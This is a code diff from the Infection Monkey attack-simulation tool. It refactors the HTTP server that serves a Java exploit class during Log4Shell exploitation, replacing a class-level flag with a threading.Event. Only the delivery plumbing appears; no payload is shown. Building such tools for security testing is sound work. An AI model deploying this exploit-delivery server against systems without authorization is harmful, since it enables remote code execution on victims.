diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
index 4c0eca054..ba72412b4 100644
--- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
+++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py
@@ -1,5 +1,6 @@
 import http.server
 import logging
+import threading
 
 logger = logging.getLogger(__name__)
 
@@ -9,24 +10,16 @@ HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429
 class HTTPHandler(http.server.BaseHTTPRequestHandler):
 
     java_class: bytes
-    class_downloaded = False
-
-    @classmethod
-    def reset(cls):
-        cls.class_downloaded = False
-
-    @classmethod
-    def _set_class_downloaded(cls):
-        cls.class_downloaded = True
+    class_downloaded: threading.Event
 
     def do_GET(self):
-        if HTTPHandler.class_downloaded:
+        if HTTPHandler.class_downloaded.is_set():
             self.send_error(
                 HTTP_TOO_MANY_REQUESTS_ERROR_CODE, "Java exploit class has already been downloaded"
             )
             return
 
-        HTTPHandler._set_class_downloaded()
+        HTTPHandler.class_downloaded.set()
         logger.info("Java class servergot a GET request!")
         self.send_response(200)
         self.send_header("Content-type", "application/octet-stream")
@@ -38,16 +31,17 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler):
 class ExploitClassHTTPServer:
     def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5):
         logger.debug(f"The Java Exploit class will be served at {ip}:{port}")
+        self._class_downloaded = threading.Event()
 
         HTTPHandler.java_class = java_class
-        HTTPHandler.reset()
+        HTTPHandler.class_downloaded = self._class_downloaded
 
         self._server = http.server.HTTPServer((ip, port), HTTPHandler)
         self._poll_interval = poll_interval
 
     def run(self):
         logger.debug("Starting ExploitClassHTTPServer")
-        HTTPHandler.reset()
+        self._class_downloaded.clear()
 
         self._server.serve_forever(self._poll_interval)
         logger.debug("The Java Exploit class HTTP server has stopped")
@@ -57,4 +51,4 @@ class ExploitClassHTTPServer:
         self._server.shutdown()
 
     def exploit_class_downloaded(self) -> bool:
-        return HTTPHandler.class_downloaded
+        return self._class_downloaded.is_set()